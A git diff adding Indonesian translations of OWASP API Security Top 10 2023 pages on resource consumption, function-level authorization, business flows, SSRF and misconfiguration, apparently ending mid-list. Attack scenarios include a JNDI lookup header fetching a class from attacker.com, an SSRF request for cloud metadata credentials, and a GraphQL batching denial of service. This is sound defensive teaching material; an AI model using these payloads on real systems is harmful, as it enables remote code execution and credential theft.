+ +Endpoint API rentan karena tidak ada validasi apakah pengguna seharusnya memiliki akses ke properti obyek internal - `blocked`, dan pengguna dapat mengubah nilai dari `true` ke `false` dan membuka blokir konten mereka sendiri. + +## Cara Mencegah + +* Saat memaparkan obyek menggunakan endpoint API, selalu pastikan bahwa pengguna harus memiliki akses ke properti obyek yang Anda paparkan. +* Hindari menggunakan metode generik seperti `to_json()` dan `to_string()`. Sebaliknya, pilih properti obyek tertentu yang ingin Anda kembalikan. +* Jika memungkinkan, hindari menggunakan fungsi yang secara otomatis mengikat input klien ke dalam variabel kode, obyek internal, atau properti obyek ("Penugasan Massal"). +* Izinkan perubahan hanya pada properti obyek yang seharusnya diperbarui oleh klien. +* Terapkan mekanisme validasi respons berbasis skema sebagai lapisan keamanan tambahan. Sebagai bagian dari mekanisme ini, tentukan dan paksakan data yang dikembalikan oleh semua metode API. +* Pertahankan struktur data yang dikembalikan seminimal mungkin, sesuai persyaratan bisnis/fungsional untuk endpoint tersebut. + +## Referensi + +### OWASP + +* [API3:2019 Paparan Data Berlebihan - OWASP API Security Top 10 2019][1] +* [API6:2019 - Penugasan Massal - OWASP API Security Top 10 2019][2] +* [Cheat Sheet Penugasan Massal][3] + +### Eksternal + +* [CWE-213: Pengungkapan Informasi Sensitif karena Kebijakan yang Tidak Kompatibel][4] +* [CWE-915: Modifikasi Atribut Objek yang Ditentukan Secara Dinamis yang Tidak Terkendali dengan Benar][5] + +[1]: https://owasp.org/API-Security/editions/2019/id/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/id/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html + diff --git a/editions/2023/id/0xa4-unrestricted-resource-consumption.md b/editions/2023/id/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..7877e4f1e --- /dev/null +++ b/editions/2023/id/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,133 @@ +# API4:2023 Konsumsi Sumber Daya yang Tidak Dibatasi + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Rata-rata** dieksploitasi | **Luas** Prevalensi: **Mudah** Terdeteksi | **Parah** Teknis: Spesifik Bisnis | +| Eksploitasi membutuhkan permintaan API sederhana. Beberapa permintaan serentak dapat dilakukan dari satu komputer lokal atau dengan menggunakan sumber daya komputasi cloud. Sebagian besar alat otomatis yang tersedia dirancang untuk menyebabkan DoS melalui beban lalu lintas tinggi, yang berdampak pada tingkat layanan API. | Umum ditemukan API yang tidak membatasi interaksi atau konsumsi sumber daya klien. Permintaan API yang dibuat, seperti yang mencakup parameter yang mengendalikan jumlah sumber daya yang akan dikembalikan dan melakukan analisis status/waktu/panjang respons seharusnya memungkinkan identifikasi masalah. Hal yang sama berlaku untuk operasi batch. Meskipun agen ancaman tidak memiliki visibilitas atas dampak biaya, ini dapat disimpulkan berdasarkan model bisnis/harga penyedia layanan (misalnya penyedia cloud). | Eksploitasi dapat menyebabkan DoS karena kekurangan sumber daya, tetapi juga dapat menyebabkan peningkatan biaya operasional seperti yang terkait dengan infrastruktur karena permintaan CPU yang lebih tinggi, peningkatan kebutuhan penyimpanan cloud, dll. | + +## Apakah API Rentan? + +Memenuhi permintaan API memerlukan sumber daya seperti bandwidth jaringan, CPU, memori, dan penyimpanan. Terkadang sumber daya yang diperlukan disediakan oleh penyedia layanan melalui integrasi API, dan dibayar berdasarkan permintaan, seperti mengirim email/SMS/panggilan telepon, validasi biometrik, dll. + +API rentan jika setidaknya salah satu batasan berikut hilang atau diatur dengan tidak tepat (misalnya terlalu rendah/tinggi): + +* Batas waktu eksekusi +* Memori maksimum yang dapat dialokasikan +* Jumlah maksimum deskriptor file +* Jumlah proses maksimum +* Ukuran file unggah maksimum +* Jumlah operasi untuk dilakukan dalam satu permintaan klien API (misalnya penyuntingan batch GraphQL) +* Jumlah catatan per halaman untuk dikembalikan dalam satu permintaan-respons +* Batas biaya untuk layanan pihak ketiga + +## Skenario Serangan Contoh + +### Skenario #1 + +Sebuah jejaring sosial mengimplementasikan alur "lupa kata sandi" menggunakan verifikasi SMS, hal ini memungkinkan pengguna menerima token sekali pakai melalui SMS untuk mereset kata sandi mereka. + +Setelah pengguna mengklik "lupa kata sandi" sebuah panggilan API dikirim dari browser pengguna ke API back-end: + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +Kemudian, di balik layar, panggilan API dikirim dari back-end ke API pihak ke-3 yang mengurus pengiriman SMS: + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` + +Penyedia pihak ketiga, Willyo, membebankan $0,05 untuk setiap panggilan jenis ini. + +Seorang penyerang menulis skrip yang mengirim panggilan API pertama puluhan ribu kali. Back-end mengikuti dan meminta Willyo untuk mengirim puluhan ribu pesan teks, yang menyebabkan perusahaan kehilangan ribuan dolar dalam hitungan menit. + +### Skenario #2 + +Sebuah Endpoint API GraphQL memungkinkan pengguna mengunggah foto profil. + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA...\") { + url + } + }" +} +``` + +Begitu proses unggah selesai, API menghasilkan beberapa thumbnail dengan ukuran berbeda berdasarkan gambar yang diunggah. Operasi grafis ini mengambil banyak memori server. + +API mengimplementasikan perlindungan pembatasan tradisional - pengguna tidak dapat mengakses endpoint GraphQL terlalu banyak dalam jangka waktu singkat. API juga memeriksa ukuran gambar yang diunggah sebelum menghasilkan thumbnail untuk menghindari memproses gambar yang terlalu besar. + +Seorang penyerang dapat dengan mudah mengatasi mekanisme tersebut, dengan memanfaatkan sifat fleksibel GraphQL: + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA...\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA...\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FO IEFOR0xJVA...\") {url}}"}, +] +``` + +Karena API tidak membatasi berapa kali operasi `uploadPic` dapat dicoba, panggilan akan menyebabkan habisnya memori server dan Denial of Service. + +### Skenario #3 + +Sebuah penyedia layanan memungkinkan klien mengunduh file berukuran sebesar apa pun menggunakan API-nya. File-file ini disimpan di penyimpanan objek cloud dan jarang berubah. Penyedia layanan mengandalkan layanan cache agar memiliki tingkat layanan yang lebih baik dan menjaga konsumsi bandwidth tetap rendah. Layanan cache hanya menyimpan file hingga 15GB. + +Ketika salah satu file diperbarui, ukurannya meningkat menjadi 18GB. Semua klien layanan segera mulai menarik versi baru. Karena tidak ada peringatan biaya konsumsi, atau pengeluaran maksimum yang diizinkan untuk layanan cloud, tagihan bulanan berikutnya meningkat dari rata-rata US$13 menjadi US$8 ribu. + +## Cara Mencegah + +* Gunakan solusi yang memudahkan pembatasan [memori][1], [CPU][2], [jumlah restart][3], [deskriptor file, dan proses][4] seperti Kontainer / Serverless code (misalnya Lambda). +* Tentukan dan pastikan ukuran data maksimum pada semua parameter dan payload masukan, seperti panjang maksimum string, jumlah elemen maksimum array, dan ukuran file unggah maksimum (terlepas apakah disimpan secara lokal atau di penyimpanan cloud). +* Terapkan batas seberapa sering klien dapat berinteraksi dengan API dalam rentang waktu tertentu (pembatasan laju). +* Pembatasan laju harus diatur berdasarkan kebutuhan bisnis. Beberapa Endpoint API mungkin memerlukan kebijakan yang lebih ketat. +* Batasi/atur seberapa banyak atau seberapa sering satu klien/pengguna API dapat mengeksekusi operasi tunggal (misalnya memvalidasi OTP, atau meminta pemulihan kata sandi tanpa mengunjungi URL sekali pakai). +* Tambahkan validasi sisi server yang tepat untuk parameter string kueri dan body permintaan, khususnya yang mengendalikan jumlah catatan yang akan dikembalikan dalam respons. +* Konfigurasikan batas pengeluaran untuk semua penyedia layanan/integrasi API. Jika tidak memungkinkan untuk membatasi pengeluaran, sebaiknya konfigurasi peringatan tagihan. + +## Referensi + +### OWASP + +* ["Ketersediaan" - Cheat Sheet Keamanan Layanan Web][5] +* ["Pencegahan DoS" - Cheat Sheet GraphQL][6] +* ["Meredam Serangan Batching" - Cheat Sheet GraphQL][7] + +### Eksternal + +* [CWE-770: Alokasi Sumber Daya Tanpa Batasan atau Pengaturan][8] +* [CWE-400: Konsumsi Sumber Daya yang Tidak Terkendali][9] +* [CWE-799: Kontrol Interaksi Frekuensi yang Tidak Tepat][10] +* "Pembatasan Laju (Pengaturan)" - [Strategi Keamanan untuk Sistem Aplikasi Berbasis Mikroservis][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf + diff --git a/editions/2023/id/0xa5-broken-function-level-authorization.md b/editions/2023/id/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..04af3e505 --- /dev/null +++ b/editions/2023/id/0xa5-broken-function-level-authorization.md @@ -0,0 +1,69 @@ +# API5:2023 Otorisasi Tingkat Fungsi yang Rusak + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | **Umum** Prevalensi: **Mudah** Terdeteksi | **Parah** Teknis: Spesifik Bisnis | +| Eksploitasi mengharuskan penyerang mengirim panggilan API yang sah ke endpoint API yang seharusnya tidak dapat mereka akses sebagai pengguna anonim atau pengguna biasa non-istimewa. Endpoint yang terpapar akan dengan mudah dieksploitasi. | Pemeriksaan otorisasi untuk fungsi atau sumber daya biasanya dikelola melalui konfigurasi atau level kode. Menerapkan pemeriksaan yang tepat dapat menjadi tugas yang membingungkan karena aplikasi modern dapat terdiri dari banyak jenis peran, grup, dan hierarki pengguna yang kompleks (misalnya sub-pengguna, atau pengguna dengan lebih dari satu peran). Lebih mudah menemukan kelemahan ini di API karena API lebih terstruktur, dan mengakses fungsi yang berbeda lebih dapat diprediksi. | Kelemahan seperti itu memungkinkan penyerang mengakses fungsionalitas yang tidak sah. Fungsi administratif menjadi target utama untuk jenis serangan ini dan dapat menyebabkan pengungkapan data, kehilangan data, atau kerusakan data. Pada akhirnya, dapat menyebabkan gangguan layanan. | + +## Apakah API Rentan? + +Cara terbaik untuk menemukan masalah otorisasi tingkat fungsi yang rusak adalah dengan melakukan analisis mendalam tentang mekanisme otorisasi dengan tetap mempertimbangkan hierarki pengguna, peran atau grup yang berbeda dalam aplikasi, dan mengajukan pertanyaan berikut: + +* Apakah pengguna reguler dapat mengakses endpoint administratif? +* Apakah pengguna dapat melakukan tindakan sensitif (misalnya pembuatan, modifikasi, atau penghapusan) yang seharusnya tidak bisa diakses dengan hanya mengubah metode HTTP (misalnya dari `GET` ke `DELETE`)? +* Apakah pengguna dari grup X dapat mengakses fungsi yang seharusnya hanya dapat diakses pengguna dari grup Y, dengan hanya menebak URL endpoint dan parameternya (misalnya `/api/v1/users/export_all`)? + +Jangan mengasumsikan bahwa sebuah endpoint API adalah endpoint reguler atau administratif hanya berdasarkan jalur URL-nya. + +Meskipun pengembang mungkin memilih untuk mengekspos sebagian besar endpoint administratif di path relatif tertentu, seperti `/api/admins`, sangat umum menemukan endpoint administratif ini di path relatif lain bersama dengan endpoint reguler, seperti `/api/users`. + +## Skenario Serangan Contoh + +### Skenario #1 + +Selama proses pendaftaran untuk aplikasi yang hanya mengizinkan pengguna yang diundang untuk bergabung, aplikasi seluler memicu panggilan API ke `GET /api/invites/{invite_guid}`. Respons berisi sebuah JSON dengan detail tentang undangan, termasuk peran pengguna dan email pengguna. + +Seorang penyerang menduplikasi permintaan dan memanipulasi metode HTTP dan endpoint menjadi `POST /api/invites/new`. Endpoint ini hanya boleh diakses oleh administrator menggunakan konsol admin. Endpoint tidak menerapkan pemeriksaan otorisasi tingkat fungsi. + +Penyerang mengeksploitasi masalah tersebut dan mengirim undangan baru dengan hak istimewa admin: + +``` +POST /api/invites/new + +{ + "email": "attacker@somehost.com", + "role":"admin" +} +``` + +Selanjutnya, penyerang menggunakan undangan yang dibuat secara curang tersebut untuk membuat akun admin bagi dirinya sendiri dan mendapatkan akses penuh ke sistem. + +### Skenario #2 + +Sebuah API berisi endpoint yang seharusnya hanya terungkap ke administrator - `GET /api/admin/v1/users/all`. Endpoint ini mengembalikan detail semua pengguna aplikasi dan tidak menerapkan pemeriksaan otorisasi tingkat fungsi. Seorang penyerang yang mempelajari struktur API melakukan tebakan cerdas dan berhasil mengakses endpoint ini, yang mengekspos detail sensitif para pengguna aplikasi. + +## Cara Mencegah + +Aplikasi Anda harus memiliki modul otorisasi yang konsisten dan mudah dianalisis yang dipanggil dari semua fungsi bisnis Anda. Seringkali, perlindungan seperti itu disediakan oleh satu atau lebih komponen eksternal untuk kode aplikasi. + +* Mekanisme penegakan harus menolak semua akses secara default, dibutuhkan hak akses yang eksplisit ke peran tertentu untuk mengakses setiap fungsi. +* Tinjau endpoint API Anda terhadap kelemahan otorisasi tingkat fungsi, dengan tetap memperhatikan logika bisnis aplikasi dan hierarki grup. +* Pastikan semua pengendali administratif Anda mewarisi kendali abstrak administratif yang menerapkan pemeriksaan otorisasi berdasarkan grup/peran pengguna. +* Pastikan fungsi administratif di dalam pengendali reguler menerapkan pemeriksaan otorisasi berdasarkan grup dan peran pengguna. + +## Referensi + +### OWASP + +* [Pemaksaan Penelusuran][1] +* "A7: Hilangnya Kendali Akses Tingkat Fungsi", [OWASP Top 10 2013][2] +* [Kontrol Akses][3] + +### Eksternal + +* [CWE-285: Otorisasi yang Tidak Tepat][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/id/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/id/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..a3e19b46d --- /dev/null +++ b/editions/2023/id/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,72 @@ +# API6:2023 Akses Tanpa Batas ke Aliran Bisnis Sensitif + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | Prevalensi **Luas** : Terdeteksi **Rata-rata** | Teknis **Sedang** : Spesifik Bisnis | +| Eksploitasi biasanya melibatkan pemahaman model bisnis yang didukung oleh API, menemukan aliran bisnis sensitif, dan mengotomatisasi akses ke aliran tersebut, yang merugikan bisnis. | Kurangnya pandangan holistik tentang API untuk sepenuhnya mendukung persyaratan bisnis cenderung berkontribusi pada prevalensi masalah ini. Penyerang secara manual mengidentifikasi sumber daya (misalnya endpoint) apa yang terlibat dalam alur kerja target dan bagaimana mereka bekerja sama. Jika mekanisme mitigasi sudah ada, penyerang perlu menemukan cara untuk melewatinya. | Secara umum, dampak teknis tidak diharapkan. Eksploitasi mungkin merugikan bisnis dengan berbagai cara, misalnya: mencegah pengguna sah membeli produk, atau menyebabkan inflasi dalam perekonomian internal sebuah game. | + +## Apakah API Rentan? + +Saat membuat Endpoint API, penting untuk memahami aliran bisnis apa yang dieksposnya. Beberapa aliran bisnis lebih sensitif daripada yang lain, dalam artian akses berlebihan ke dalamnya dapat merugikan bisnis. + +Contoh umum aliran bisnis sensitif dan risiko akses berlebihan yang terkait dengannya: + +* Aliran pembelian produk - seorang penyerang dapat membeli semua persediaan item yang sangat diminati secara sekaligus dan menjual kembali dengan harga yang lebih tinggi (penimbunan) +* Aliran membuat komentar/posting - seorang penyerang dapat men-spam sistem +* Melakukan reservasi - seorang penyerang dapat memesan semua slot waktu yang tersedia dan mencegah pengguna lain menggunakan sistem + +Risiko akses berlebihan mungkin berubah antar industri dan bisnis. Misalnya - pembuatan post oleh skrip mungkin dianggap sebagai risiko spam oleh satu jejaring sosial, tetapi didorong oleh jejaring sosial lainnya. + +Sebuah Endpoint API rentan jika mengekspos aliran bisnis sensitif, tanpa membatasi akses ke dalamnya dengan tepat. + +## Contoh Skenario Serangan + +### Skenario #1 + +Sebuah perusahaan teknologi mengumumkan akan merilis konsol game baru di hari Thanksgiving. Produk ini memiliki permintaan yang sangat tinggi dan persediaannya terbatas. Seorang penyerang menulis kode untuk secara otomatis membeli produk baru dan menyelesaikan transaksi. + +Pada hari rilis, penyerang menjalankan kode yang didistribusikan di berbagai alamat IP dan lokasi. API tidak menerapkan perlindungan yang tepat dan memungkinkan penyerang untuk membeli sebagian besar persediaan sebelum pengguna sah lainnya. + +Kemudian, penyerang menjual produk di platform lain dengan harga jauh lebih tinggi. + +### Skenario #2 + +Sebuah maskapai penerbangan menawarkan pembelian tiket online tanpa biaya pembatalan. Seorang pengguna dengan niat jahat memesan 90% kursi penerbangan yang diinginkan. + +Beberapa hari sebelum penerbangan pengguna jahat membatalkan semua tiket sekaligus, yang memaksa maskapai untuk memberikan diskon harga tiket untuk mengisi penerbangan. + +Pada titik ini, pengguna membeli satu tiket untuk dirinya sendiri yang jauh lebih murah dari yang asli. + +### Skenario #3 + +Sebuah aplikasi ride-sharing menyediakan program referral - pengguna dapat mengundang teman mereka dan mendapatkan kredit untuk setiap teman yang bergabung dengan aplikasi. Kredit ini kemudian dapat digunakan sebagai uang tunai untuk memesan tumpangan. + +Seorang penyerang mengeksploitasi alur ini dengan menulis skrip untuk mengotomatisasi proses pendaftaran, dengan setiap pengguna baru menambahkan kredit ke dompet penyerang. + +Penyerang kemudian dapat menikmati tumpangan gratis atau menjual akun dengan kredit berlebihan untuk uang tunai. + +## Cara Mencegah + +Perencanaan mitigasi harus dilakukan dalam dua lapisan: + +* Bisnis - identifikasi aliran bisnis yang mungkin merugikan bisnis jika digunakan secara berlebihan. +* Rekayasa - pilih mekanisme perlindungan yang tepat untuk memitigasi risiko bisnis. + + Beberapa mekanisme perlindungan lebih sederhana sementara yang lain lebih sulit diterapkan. Metode berikut digunakan untuk memperlambat ancaman otomatis: + + * Fingerprinting perangkat: menolak layanan ke perangkat klien yang tidak diharapkan (misalnya headless browser) cenderung membuat aktor ancaman menggunakan solusi yang lebih canggih, sehingga lebih mahal bagi mereka + * Deteksi manusia: menggunakan captcha atau solusi biometrik tingkat lanjut (misalnya pola pengetikan) + * Pola non-manusia: menganalisis alur pengguna untuk mendeteksi pola non-manusia (misalnya pengguna mengakses fungsi "tambah ke keranjang" dan "selesaikan pembelian" dalam waktu kurang dari satu detik) + * Pertimbangkan memblokir alamat IP dari node keluar Tor dan proxy terkenal + + Amankan dan batasi akses ke API yang dikonsumsi langsung oleh mesin (seperti API pengembang dan B2B). Mereka cenderung menjadi target yang mudah bagi penyerang karena seringkali tidak menerapkan semua mekanisme perlindungan yang diperlukan. + +## Referensi + +### OWASP + +* [OWASP Ancaman Otomatis ke Aplikasi Web][1] +* [API10:2019 Pencatatan & Pemantauan yang Tidak Memadai][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/id/0xaa-insufficient-logging-monitoring/ diff --git a/editions/2023/id/0xa7-server-side-request-forgery.md b/editions/2023/id/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..b95b025b0 --- /dev/null +++ b/editions/2023/id/0xa7-server-side-request-forgery.md @@ -0,0 +1,137 @@ +# API7:2023 Pemalsuan Permintaan Sisi Server + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | Prevalensi **Umum** : **Mudah** Terdeteksi | Teknis **Sedang** : Spesifik Bisnis | +| Eksploitasi membutuhkan penyerang untuk menemukan endpoint API yang mengakses URI yang disediakan oleh klien. Secara umum, SSRF dasar (saat respons dikembalikan ke penyerang) lebih mudah dieksploitasi daripada Blind SSRF ketika penyerang tidak menerima informasi apakah serangan berhasil atau tidak. | Konsep modern dalam pengembangan aplikasi mendorong pengembang untuk mengakses URI yang disediakan oleh klien. Kurangnya atau validasi yang tidak tepat dari URI tersebut adalah masalah yang umum. Permintaan dan analisis respons API reguler akan dibutuhkan untuk mendeteksi masalah tersebut. Ketika respons tidak dikembalikan (Blind SSRF) mendeteksi kerentanan membutuhkan lebih banyak upaya dan kreativitas. | Eksploitasi yang berhasil mungkin mengarah ke enumerasi layanan internal (misalnya pemindaian port), pengungkapan informasi, menghindari firewall, atau mekanisme keamanan lainnya. Dalam beberapa kasus, dapat mengarah ke DoS atau server digunakan sebagai proxy untuk menyembunyikan kegiatan berbahaya. | + +## Apakah API Rentan? + +Celah Pemalsuan Permintaan Sisi Server (SSRF) terjadi ketika API mengambil sumber daya jarak jauh tanpa memvalidasi URL yang diberikan pengguna. Hal ini memungkinkan penyerang memaksa aplikasi untuk mengirim permintaan yang dibuat ke tujuan yang tidak terduga, bahkan ketika dilindungi oleh firewall atau VPN. + +Konsep modern dalam pengembangan aplikasi membuat SSRF lebih umum dan lebih berbahaya. + +Lebih umum - konsep berikut mendorong pengembang untuk mengakses sumber daya eksternal berdasarkan masukan pengguna: Webhook, mengambil file dari URL, SSO kustom, dan pratinjau URL. + +Lebih berbahaya - Teknologi modern seperti penyedia cloud, Kubernetes, dan Docker mengekspos saluran manajemen dan kontrol melalui HTTP pada jalur yang dapat diprediksi dan dikenal dengan baik. Saluran tersebut adalah target yang mudah untuk serangan SSRF. + +Juga lebih menantang untuk membatasi lalu lintas keluar aplikasi Anda, karena sifat terhubung aplikasi modern. + +Risiko SSRF tidak selalu dapat sepenuhnya dihilangkan. Saat memilih mekanisme perlindungan, penting untuk mempertimbangkan risiko bisnis dan kebutuhan. + +## Contoh Skenario Serangan + +### Skenario #1 + +Sebuah jejaring sosial memungkinkan pengguna mengunggah foto profil. Pengguna dapat memilih untuk mengunggah file gambar dari mesin mereka, atau menyediakan URL gambar. Memilih opsi kedua, akan memicu panggilan API berikut: + +``` +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +Seorang penyerang dapat mengirim URL berbahaya dan memulai pemindaian port di jaringan internal menggunakan Endpoint API. + +``` +{ + "picture_url": "localhost:8080" +} +``` + +Berdasarkan waktu respons, penyerang dapat mengetahui apakah port terbuka atau tidak. + +### Skenario #2 + +Sebuah produk keamanan menghasilkan peristiwa ketika mendeteksi anomali di jaringan. Beberapa tim lebih suka meninjau peristiwa dalam sistem pemantauan yang lebih luas dan generik, seperti SIEM (Security Information and Event Management). Untuk tujuan ini, produk menyediakan integrasi dengan sistem lain menggunakan webhook. + +Sebagai bagian dari pembuatan webhook baru, mutasi GraphQL dikirim dengan URL API SIEM. + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] + +``` + +Selama proses pembuatan, back-end API mengirim permintaan uji ke URL webhook yang diberikan, dan menyajikan respons ke pengguna. + +Seorang penyerang dapat memanfaatkan alur ini, dan membuat permintaan API untuk sumber daya sensitif, seperti layanan metadata cloud internal yang mengekspos kredensial: + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +Karena aplikasi menampilkan respons dari permintaan uji, penyerang dapat melihat kredensial lingkungan cloud. + +## Cara Mencegah + +* Isolasi mekanisme pengambilan sumber daya di jaringan Anda: biasanya fitur ini bertujuan untuk mengambil sumber daya jarak jauh dan bukan internal. +* Kapan pun memungkinkan, gunakan allow list untuk: + * Asal lokasi sumber daya (misalnya Google Drive, Gravatar, dll.) yang diharapkan digunakan pengguna untuk mengunduh sumber daya + * Skema URL dan port + * Jenis media yang diterima untuk fungsionalitas tertentu +* Nonaktifkan pengalihan HTTP. +* Gunakan parser URL yang diuji dan dikelola dengan baik untuk menghindari masalah yang disebabkan oleh inkonsistensi parsing URL. +* Validasi dan bersihkan semua data input yang diberikan klien. +* Jangan kirim respons mentah ke klien. + +## Referensi + +### OWASP + +* [Server Side Request Forgery][1] +* [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### Eksternal + +* [CWE-918: Server-Side Request Forgery (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, + Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ diff --git a/editions/2023/id/0xa8-security-misconfiguration.md b/editions/2023/id/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..90e13c163 --- /dev/null +++ b/editions/2023/id/0xa8-security-misconfiguration.md @@ -0,0 +1,107 @@ +# API8:2023 Miskonfigurasi Keamanan + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API : Kemungkinan Dieksploitasi **Mudah** | Prevalensi **Luas** : Kemungkinan Dideteksi **Mudah** | Teknis **Parah** : Khusus Bisnis | +| Penyerang sering mencoba menemukan kelemahan yang belum diperbaiki, endpoint umum, layanan yang berjalan dengan konfigurasi default yang tidak aman, atau file dan direktori yang tidak terlindungi untuk mendapatkan akses tidak sah atau pengetahuan tentang sistem. Sebagian besar informasi ini adalah pengetahuan publik dan eksploitasi mungkin tersedia. | Kesalahan konfigurasi keamanan dapat terjadi di semua tingkat stack API, mulai dari tingkat jaringan hingga tingkat aplikasi. Alat otomatis tersedia untuk mendeteksi dan mengeksploitasi kesalahan konfigurasi seperti layanan yang tidak perlu atau opsi warisan. | Kesalahan konfigurasi keamanan tidak hanya mengekspos data pengguna yang sensitif, tetapi juga detail sistem yang dapat menyebabkan kompromi penuh server. | + +## Apakah API Rentan? + +API menjadi rentan bila: + +* Tidak ada penguncian keamanan yang sesuai di seluruh bagian stack API, + atau izin yang dikonfigurasi dengan tidak benar pada layanan cloud +* Tidak ada patch keamanan terbaru, atau sistem sudah kadaluwarsa +* Fitur yang tidak diperlukan diaktifkan (misalnya, verba HTTP, fitur logging) +* Ada ketidaksesuaian dalam cara permintaan masuk diproses oleh server + dalam rantai server HTTP +* Tidak ada Keamanan Lapisan Transportasi (TLS) +* Direktif keamanan atau kendali cache tidak dikirimkan kepada klien +* Kebijakan Cross-Origin Resource Sharing (CORS) hilang atau tidak diatur dengan tepat +* Pesan kesalahan mencakup stack trace, atau mengekspos informasi sensitif lainnya + +## Contoh Skenario Serangan + +### Skenario #1 + +Sebuah server API back-end menjaga catatan akses yang ditulis oleh utilitas logging sumber terbuka pihak ketiga yang populer dengan dukungan ekspansi tempat dan pencarian JNDI +(Java Naming and Directory Interface), keduanya diaktifkan secara default. Untuk +setiap permintaan, entri baru ditulis ke file log dengan pola berikut: ` / - `. + +Pelaku jahat mengeluarkan permintaan API berikut, yang ditulis ke file log akses: + +``` +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +Karena konfigurasi default yang tidak aman dari utilitas logging dan kebijakan keluar jaringan yang longgar, dalam rangka menulis entri yang sesuai +ke file log akses, sambil memperluas nilai dalam header permintaan `X-Api-Version`, utilitas logging akan mengambil dan menjalankan objek `Malicious.class` dari server yang dikendalikan oleh pelaku jahat. + +### Skenario #2 + +Sebuah situs jaringan sosial menawarkan fitur "Pesan Langsung" yang memungkinkan pengguna +mempertahankan percakapan pribadi. Untuk mengambil pesan baru untuk percakapan tertentu, situs web mengeluarkan permintaan API berikut (interaksi pengguna tidak diperlukan): + +``` +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +Karena tanggapan API tidak menyertakaj header tanggapan HTTP `Cache-Control`, percakapan pribadi akan disimpan dalam cache browser web, memungkinkan +pelaku jahat mengambilnya dari file cache browser dalam sistem file. + +## Cara Mencegah + +Siklus hidup API harus mencakup: + +* Proses pengerasan berulang yang menghasilkan penerapan lingkungan yang terkunci dengan benar dengan cepat dan mudah +* Tugas untuk meninjau dan memperbarui konfigurasi di seluruh stack API. Tinjauan harus mencakup: file orkestrasi, komponen API, dan layanan cloud + (misalnya, izin bucket S3) +* Proses otomatis untuk terus-menerus menilai efektivitas konfigurasi dan pengaturan di semua lingkungan + +Selain itu: + +* Pastikan semua komunikasi API dari klien ke server API dan komponen hulu/hilir terjadi melalui saluran komunikasi yang terenkripsi + (TLS), tanpa memandang apakah itu API internal atau publik. +* Lebih spesifik tentang verba HTTP mana pun yang dapat diakses oleh setiap API: semua verba HTTP lainnya harus dinonaktifkan (misalnya, HEAD). +* API yang 